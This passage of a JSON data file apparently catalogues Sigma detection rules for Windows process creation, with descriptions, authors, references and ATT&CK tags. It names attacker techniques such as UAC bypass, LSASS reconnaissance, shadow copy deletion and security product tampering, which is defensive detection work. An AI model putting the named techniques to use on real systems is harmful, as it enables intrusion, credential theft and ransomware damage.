          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib",
          "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
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      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b",
      "value": "Set Files as System Files Using Attrib.EXE"
    },
    {
      "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path",
      "meta": {
        "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_sc_service_path_modification.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md",
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
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      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78",
      "value": "Suspicious Service Path Modification"
    },
    {
      "description": "Detects suspicious child processes of Wscript/Cscript",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/15",
        "falsepositive": [
          "Some false positives might occur with admin or third party software scripts. Investigate and apply additional filters accordingly."
        ],
        "filename": "proc_creation_win_wscript_cscript_susp_child_processes.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "b6676963-0353-4f88-90f5-36c20d443c6a",
      "value": "Cscript/Wscript Suspicious Child Process"
    },
    {
      "description": "Detects the execution of REGSVR32.exe with DLL files masquerading as other files",
      "meta": {
        "author": "Florian Roth (Nextron Systems), frack113",
        "creation_date": "2021/11/29",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_regsvr32_susp_extensions.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/",
          "https://guides.lib.umich.edu/c.php?g=282942&p=1885348",
          "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_extensions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e",
      "value": "Regsvr32 DLL Execution With Suspicious File Extension"
    },
    {
      "description": "Detects suspicious process related to rundll32 based on arguments",
      "meta": {
        "author": "frack113, Zaw Min Htun (ZETA)",
        "creation_date": "2021/12/04",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_rundll32_script_run.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52",
          "https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_script_run.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7",
      "value": "Suspicious Rundll32 Script in CommandLine"
    },
    {
      "description": "Detects the usage of \"hh.exe\" to execute/download remotely hosted \".chm\" files.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hh_chm_remote_download_or_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md",
          "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html",
          "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89",
      "value": "Remote CHM File Download/Execution Via HH.EXE"
    },
    {
      "description": "Extract data from cab file and hide it in an alternate data stream",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_extrac32_ads.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e",
      "value": "Suspicious Extrac32 Alternate Data Stream Execution"
    },
    {
      "description": "Detects the execution of \"logman\" utility in order to disable or delete Windows trace sessions",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/02/11",
        "falsepositive": [
          "Legitimate deactivation by administrative staff",
          "Installer tools that disable services, e.g. before log collection agent installation"
        ],
        "filename": "proc_creation_win_logman_disable_eventlog.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1359039665232306183?s=21",
          "https://ss64.com/nt/logman.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001",
          "attack.t1070.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00",
      "value": "Suspicious Windows Trace ETW Session Tamper Via Logman.EXE"
    },
    {
      "description": "Detects uninstallation or termination of security products using the WMIC utility",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/01/30",
        "falsepositive": [
          "Legitimate administration"
        ],
        "filename": "proc_creation_win_wmic_uninstall_security_products.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html",
          "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions",
          "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
          "https://twitter.com/cglyer/status/1355171195654709249",
          "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_security_products.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765",
      "value": "Potential Tampering With Security Products Via WMIC"
    },
    {
      "description": "Detects audio capture via PowerShell Cmdlet.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate audio capture by legitimate user."
        ],
        "filename": "proc_creation_win_powershell_audio_capture.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html",
          "https://github.com/frgnca/AudioDeviceCmdlets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1123"
        ]
      },
      "related": [
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6",
      "value": "Audio Capture via PowerShell"
    },
    {
      "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/10",
        "falsepositive": [
          "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"
        ],
        "filename": "proc_creation_win_powershell_computer_discovery_get_adcomputer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/",
          "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_computer_discovery_get_adcomputer.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
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      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "435e10e4-992a-4281-96f3-38b11106adde",
      "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet"
    },
    {
      "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mspub_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mspub_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf",
      "value": "Arbitrary File Download Via MSPUB.EXE"
    },
    {
      "description": "Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_node_abuse.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/",
          "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return",
          "https://nodejs.org/api/cli.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd",
      "value": "Potential Arbitrary Code Execution Via Node.EXE"
    },
    {
      "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_changepk_slui.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf",
          "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b",
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc",
      "value": "UAC Bypass Using ChangePK and SLUI"
    },
    {
      "description": "Detects file association changes using the builtin \"assoc\" command.\nWhen a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Admin activity"
        ],
        "filename": "proc_creation_win_cmd_assoc_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_assoc_execution.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061",
      "value": "Change Default File Association Via Assoc"
    },
    {
      "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/02",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_fsutil_symlinkevaluation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware",
          "https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c0b2768a-dd06-4671-8339-b16ca8d1f27f",
      "value": "Fsutil Behavior Set SymlinkEvaluation"
    },
    {
      "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_lsass.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe63010f-8823-4864-a96b-a7b4a0f7b929",
      "value": "LSASS Process Reconnaissance Via Findstr.EXE"
    },
    {
      "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_shadowcopy_deletion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell",
          "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_shadowcopy_deletion.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40",
      "value": "Deletion of Volume Shadow Copies via WMI with PowerShell"
    },
    {
      "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/12/07",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_dinjector.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/snovvcrash/DInjector",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dinjector.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a",
      "value": "HackTool - DInjector PowerShell Cradle Execution"
    },
    {
      "description": "Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/04",
        "falsepositive": [
          "Legitimate use of one of these tools"
        ],
        "filename": "proc_creation_win_hktl_execution_via_imphashes.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_imphashes.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1588.002",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8",
      "value": "Suspicious Hacktool Execution - Imphash"
    },
    {
      "description": "Detects Obfuscated use of Environment Variables to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_var.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_var.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0",
      "value": "Invoke-Obfuscation VAR+ Launcher"
    },
    {
      "description": "Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sndvol_susp_child_processes.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Max_Mal_/status/1661322732456353792",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sndvol_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "ba42babc-0666-4393-a4f7-ceaf5a69191e",
      "value": "Uncommon Child Processes Of SndVol.exe"
    },
    {
      "description": "Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of \".asar\" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/21",
        "falsepositive": [
          "Legitimate child processes can occur in cases of debugging"
        ],
        "filename": "proc_creation_win_susp_electron_app_children.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Msedge/",
          "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf",
          "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/",
          "https://lolbas-project.github.io/lolbas/Binaries/Teams/",
          "https://github.com/mttaggart/quasar",
          "https://taggart-tech.com/quasar-electron/",
          "https://positive.security/blog/ms-officecmd-rce",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "f26eb764-fd89-464b-85e2-dc4a8e6e77b8",
      "value": "Suspicious Electron Application Child Processes"
    },
    {
      "description": "Detects execution of the \"VMwareToolBoxCmd.exe\" with the \"script\" and \"set\" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_vmware_toolbox_cmd_persistence_susp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence_susp.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "236d8e89-ed95-4789-a982-36f4643738ba",
      "value": "Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"
    },
    {
      "description": "Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell \"Get-Variable\" technique as seen being used in Colibri Loader",
      "meta": {
        "author": "pH-T (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_powershell_persistence.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_persistence.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1053.005",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b66474aa-bd92-4333-a16c-298155b120df",
      "value": "Potential Persistence Via Powershell Search Order Hijacking - Task"
    },
    {
      "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali",
        "creation_date": "2022/10/10",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_pchunter.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.xuetr.com/",
          "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/",
          "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.discovery",
          "attack.t1082",
          "attack.t1057",
          "attack.t1012",
          "attack.t1083",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
